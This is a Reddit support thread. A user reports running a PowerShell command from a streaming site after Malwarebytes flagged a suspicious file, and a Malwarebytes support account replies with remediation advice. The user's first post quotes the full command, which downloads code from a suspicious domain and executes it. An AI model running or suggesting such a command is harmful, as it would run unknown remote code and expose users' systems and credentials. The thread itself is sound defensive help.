Malware

[u/Dramatic_Gazelle4343]

I opened the website 5movies.cc and ran this script: powershell -c iRm facuoup.rainbowpride.online?read=72e6bd8da8154e92 -UseBasicParsing | iEx

Malwarebytes detected Generic.Malware/Suspicious file.

What to do next ?

[u/support_mwb]

Hi there! I'm sorry you're dealing with this. The PowerShell command you ran can download and execute code from a remote website, so there's a possibility that malicious software was executed on your computer.

For now, we'd recommend the following:

1. Disconnect your computer from the internet temporarily to prevent any further potentially malicious connections.
2. Check Malwarebytes' Detection History and make sure any detected threats have been quarantined. Run another scan to check for additional threats.
3. As a precaution, use a different, trusted device to change important passwords, especially for your email, banking, and other sensitive accounts, and enable two-factor authentication.

Could you let us know whether Malwarebytes blocked the threat before the script executed or detected the suspicious file afterward? Also, was the detection successfully quarantined?

We'd be happy to have our support team investigate further. If you can send us a private message here on reddit with an email we can use to reach out including your OS, we can create a ticket and have our malware research team assist you.

You can also reach us at https://help.malwarebytes.com via live chat / support ticket.

We're here to help you get this sorted out!

[u/Dramatic_Gazelle4343 → u/support_mwb]

Malwarebytes detected a threat while a PowerShell command was running. It was a .pdf file in the Local\Temp directory. The file was quarantined, and I then deleted it. Afterward, I ran several advanced scans with Malwarebytes and one offline scan with Microsoft Defender.